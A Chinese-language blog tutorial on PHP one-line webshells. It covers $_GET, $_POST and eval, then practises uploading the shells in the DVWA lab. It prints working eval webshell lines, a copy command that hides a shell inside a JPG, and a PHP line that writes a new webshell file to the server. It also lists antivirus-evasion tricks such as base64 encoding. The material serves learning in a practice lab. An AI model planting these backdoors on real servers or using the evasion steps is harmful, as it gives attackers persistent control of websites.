一句话木马

web安全--一句话木马

0x00 php预备知识

PHP $_GET

预定义的$_GET变量用于收集来自method=‘’get“的表单中的值

从带有GET方法的表单发送的信息,对任何人都是可见的(会显示在浏览器的地址栏),而$_GET

就是用来收集表单数据的变量,而表单域的名称会自动变成为$ _GET数组中的键。

例如

发送到服务器的url为

http://www.xxx.com/welcome.php?fname=Shuke&age=3

welcome.php文件现在就可以$_GET变量来收集表单数据了


欢迎<?php echo $_GET["fname"]; ?>!<br>//在html中<br>表示换行,有多少个<br>就表示换多少行。
你的年龄是<?php echo $_GET["age"]; ?> 岁

得到的结果显示为


欢迎shuke!
你的年龄是3岁

PHP $_POST

在PHP中,预定的$_POST用于收集来自method="post"表单中的值

跟GET相反,POST方法发送的表单对任何人都是不可见的,当然也不会显示在浏览器地址栏的url中,而$_POST就是用来收集用POST方法发送的表单数据的变量,而表单域的名称会自动变成为

$ _POST数组中的键。

例如

form.html文件代码如下

<html>
<head>
<meta charset="utf-8">
<title>xxxxx</title>
</head>
<body>

<form action="welcome.php" method="post">
名字: <input type="text" name="fname">
年龄: <input type="text" name="age">
<input type="submit" value="提交">
</form>

</body>
</html>

提交时,url显示为


http://www.xxx.com/welcome.php

welcome.php文件现在就可以$_POST变量来收集表单数据了


欢迎<?php echo $_POST["fname"]; ?>!<br>
你的年龄是<?php echo $_POST["age"]; ?> 岁

得到的结果显示为


欢迎shuke!
你的年龄是3岁

$_REQUEST变量

包含$_GET _POST _COOIKE的内容,可收集通过POST或GET发送的的表单数据

eval()函数

  • 要点:eval()函数把字符串作为PHP代码执行。


<?php eval("echo 'a'");?>

那么这句话其实就是执行


<?php echo 'a';?>

@符号

​ @表示后面即使执行错误,也不报错。

0x01 基本原理

​ 那么组合一下上述提到的两个语句,一个符号


<?php @eval($_POST['pw']);?>//因为这一句话,windowsdefender又删除了。我敲

​ 其含义就为执行$_POST('pw'),也就是用post发放接受post请求中变量pw中的值,但是这个pw的是未定义的,客户端是有可能会报错的,那么@符号的用途就出现了,屏蔽错误使其继续执行。

​ 那么这个pw里就可传入我们任何想要代码,我们想要执行什么代码往pw里一放,再用post一传输,这段代码就在服务器里跑起来了。

tip:如果想执行cmd命令则用exec()函数。

0x02 使用前提

​ php配置文件php.ini里,关掉安全模式safe_mode = off,然后再看看禁用函数列表 disable_functions = proc_open, popen, exec, system, shell_exec ,把exec去掉,确保没有exec(有些cms为了方便处理某些功能,会去掉的)。

0x03 模拟小演练

​ 在DVWA环境下,先把安全度调最低,看下它的描述----最低限度,最脆弱的安全策略,根本没有任何安全措施。糟糕安全编码的绝佳示例仅作为学习最基本的攻击方法的平台。

​ 好家伙,没任何防御措施,那直接上web-shell


<?php eval($_POST['pw']);?>

​ 遇到了一点问题,被windows-defender删了,windows-defender还是有东西啊。这就涉及到后面的防查杀。先把它关掉,后面具体学习了再尝试绕过。好家伙,连记事本里的一句话都给我删了。

​ 所以我们删掉之后再操作。

​ 成功拿到webshell,文件全都可操作可读,当然是对Windows而言,甚至是整个电脑的磁盘存储。

0x04 图片木马

​ medium等级下,要求上传后缀为xxx的文件,很简单,改后缀就完事了

​ 但是对于DVWA平台下的high级别的security等级,先查看一下描述:

​ 其源代码为

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
  // Check Anti-CSRF token
  checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );


  // File information
  $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
  $uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
  $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
  $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
  $uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ];

  // Where are we going to be writing to?
  $target_path   = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/';
  //$target_file   = basename( $uploaded_name, '.' . $uploaded_ext ) . '-';
  $target_file   = md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
  $temp_file     = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) );
  $temp_file   .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;

  // Is it an image?
  if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) &&
      ( $uploaded_size < 100000 ) &&
      ( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) &&
      getimagesize( $uploaded_tmp ) ) {

      // Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD)
      if( $uploaded_type == 'image/jpeg' ) {
          $img = imagecreatefromjpeg( $uploaded_tmp );
          imagejpeg( $img, $temp_file, 100);
      }
      else {
          $img = imagecreatefrompng( $uploaded_tmp );
          imagepng( $img, $temp_file, 9);
      }
      imagedestroy( $img );

      // Can we move the file to the web root from the temp folder?
      if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) {
          // Yes!
          echo "<pre><a href='${target_path}${target_file}'>${target_file}</a> succesfully uploaded!</pre>";
      }
      else {
          // No
          echo '<pre>Your image was not uploaded.</pre>';
      }

      // Delete any temp files
      if( file_exists( $temp_file ) )
          unlink( $temp_file );
  }
  else {
      // Invalid file
      echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
  }
}

// Generate Anti-CSRF token
generateSessionToken();

?>

​ 有点长,找其关键部分。除了前面的检查后缀,还多了一个函数getimagesize()

​ 关于函数getimagesize():

​ getimagesize() 函数用于获取图像大小及相关信息,成功返回一个数组,失败则返回 FALSE 并产生一条 E_WARNING 级的错误信息,为PHP函数。

​ 所以这里我们真的要上传一个图片木马了。所以我们要将上传的图片伪装成图片,利用copy命令将一句话木马文件和图片文件合并。

​ 在cmd中输入如下命令,将图片与木马复合。


copy mountains.jpg/b+mumaaaa.php/a hack.jpg //b表示二进制文件,a则表示ASCII码文件

​ 得到如下结果

​ 查看其二进制文件,发现已在文末

​ 这里后续能上传,但是无法用蚁剑连接。

​ 这里涉及到一个DVWA文件上传漏洞,使文件上传后能生成webshell。使用如下新的php语句,在访问上传后该文件的路径会生成一句话脚本文件muma.php


<?php fputs(fopen('muma.php','w'),'<?php @eval($_POST['cmd']);?>'); ?>

​ 得先搁置一下,这里的难度一直为impossible,暂时改不了高等难度。

​ 说下下面的大致流程,注入后访问上传后得url,生成新木马,再用菜刀连。

0x05 木马免杀

​ 木马在上传之初就被Windows defender给干掉了,要是不关掉,上面得实验根本完成不了,所以木马免杀是一个很重要的技巧,攻击者要会各种各样得免杀技巧。确保木马能成功上传,也能在定时查杀中不会被干掉。防御者的防御很简单,什么时候哪个论坛爆出新的免杀技巧,安全人员立马将这玩意儿放入黑名单,那么这种免杀技巧就失效了。所以,攻击者得不断创新,发明新的免杀技巧。

​ 下面仅仅列举一部分免杀技巧,还有待深入。

  • 将源代码进行再次编码

  • 将一句话木马进行base64编码,存放在乱七八糟得代码之中。

  • 对一句话木马进行变形,对数组中得键值进行变形。

0x06大马与小马

​ 小马和大马都是网页类型中的一种后门,是通过用来控制网站权限的,那最主要的区别就是小马是用来上传大马的。通过小马上传大马,这时候有个疑问了,那不是多此一举了,为什么要用小马来上传大马,而干嘛不直接上传大马用好了。其实这里是因为小马体积小,有比大马更强的隐蔽优势,而且有针对文件大小上传限制的漏洞,所以才有小马,小马也通常用来做留备用后门等。

网页小马

​ 小马体积非常小,只有2KB那么大,隐蔽性也非常的好,因为小马的作用很简单,就是一个上传功能,就没有其它的了,它的作用仅仅是用来上传文件,所以也能过一些安全扫描。小马是为了方便上传大马的,因为很多漏洞做了上传限制,大马上传不了,所以就只能先上传小马,再接着通过小马上传大马了。小马还可以通过与图片合成一起通过IIS漏洞来运行。

网页大马

​ 大马的体积就比较大了,通常在50K左右,比小马会大好多倍,但对应的功能也很强大,包括对数据的管理,命令的操作,数据库的管理,解压缩,和提权等功能,都非常强大。这种大马一旦网站被种了,网站基本就在这个大马控制之中。大马的隐蔽性不好,因为涉及很多敏感代码,安全类程序很容易扫描到。

0x07webshell

​ webshell根据脚本可以分为PHP脚本木马,ASP脚本木马,也有基于.NET的脚本木马和JSP脚本木马。在国外,还有用python脚本语言写的动态网页,当然也有与之相关的webshell。 webshell根据功能也分为大马、小马和一句话木马

posted @ 2022-01-25 11:58  三木森林  阅读(420)  评论(0编辑  收藏  举报